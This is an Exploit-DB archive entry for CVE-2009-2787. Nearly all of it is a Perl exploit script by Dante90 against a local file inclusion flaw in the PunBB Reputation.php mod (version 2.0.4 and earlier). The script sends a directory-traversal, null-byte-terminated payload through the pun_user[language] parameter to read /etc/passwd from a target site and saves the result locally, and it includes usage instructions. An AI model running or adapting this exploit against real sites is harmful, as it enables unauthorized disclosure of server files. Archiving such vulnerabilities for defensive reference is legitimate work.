PunBB Reputation.php Mod <= 2.0.4 - Local File Inclusion Exploit

2009-07-30T00:00:00
ID EDB-ID:9315
Type exploitdb
Reporter Dante90
Modified 2009-07-30T00:00:00

Description

PunBB Reputation.php Mod <= 2.0.4 Local File Inclusion Exploit. CVE-2009-2787. Webapps exploit for php platform

                                        
                                            #!/usr/bin/perl
#[0-Day] PunBB Reputation.php Mod &lt;= v2.0.4 Local File Inclusion Exploit
#Coded By Dante90, WaRWolFz Crew
#Bug Discovered By: Dante90, WaRWolFz Crew
#register_globals = On
#magic_quotes_gpc = On


use LWP::UserAgent;
use HTTP::Cookies;
use strict;

my $EtcPasswd;
my $TransversalDirectory = "./../../../../"; #Transversal Directory
my $LFI = "etc/passwd"; #File Inject
my $HostName = "http://www.victime_site.org/path/"; #Insert Victime Web Site Link

my $Referrer = "http://www.warwolfz.com/";

my $Cookies = new HTTP::Cookies;
my $UserAgent = new LWP::UserAgent(
			agent =&gt; 'Mozilla/5.0',
			max_redirect =&gt; 0,

			cookie_jar =&gt; $Cookies,
		) or die $!;

sub Local_File_Inclusion{
	my ($Directory,$Command) = @_;
	return "./include/reputation/rep_profile.php?pun_user[language]=${Directory}${Command}%00";

}

my $Get = $UserAgent-&gt;get($HostName.Local_File_Inclusion($TransversalDirectory,$LFI));

if ($Get-&gt;content =~ /No such file or directory in/i){
	refresh($HostName, "Exploit Filed");
	print " * Error extracting sensible data.\n";

	print " * Exploit Failed                                     *\n";
	print " ------------------------------------------------------ \n\n";
}else{
	$EtcPasswd = $Get-&gt;content;
	open ( FILE , "&gt;WaRWolFz.html" ) or die $!;

	print FILE $EtcPasswd;
	close ( FILE );
	refresh($HostName, "File Saved");
	print " * Exploit Successed                                  *\n";
	print " ------------------------------------------------------\n\n";

	system("pause");
}

sub usage{
	system("cls");
	{
		print " \n [0-Day] PunBB Reputation.php Mod &lt;= v2.0.4 Local File Inclusion Exploit\n";
		print " ------------------------------------------------------ \n";

		print " * USAGE:                                             *\n";
		print " * cd [Local Disk]:\\[Directory Of Exploit]\\           *\n";
		print " * perl name_exploit.pl                               *\n";

		print " ------------------------------------------------------ \n";
		print " *         Powered By Dante90, WaRWolFz Crew          *\n";
		print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n";

		print " ------------------------------------------------------ \n";
	};
	exit;
}

sub refresh{
	system("cls");
	{
		print " \n [0-Day] PunBB Reputation.php Mod &lt;= v2.0.4 Local File Inclusion Exploit\n";

		print " ------------------------------------------------------ \n";
		print " * USAGE:                                             *\n";
		print " * cd [Local Disk]:\\[Directory Of Exploit]\\           *\n";

		print " * perl name_exploit.pl                               *\n";
		print " ------------------------------------------------------ \n";
		print " *         Powered By Dante90, WaRWolFz Crew          *\n";

		print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n";
		print " ------------------------------------------------------ \n";

	};
	print " * Victime Site: " . $_[0] . "\n";
	print " * Etc/Passwd: " . $_[1] . "\n";
}

#WaRWolFz

# milw0rm.com [2009-07-30]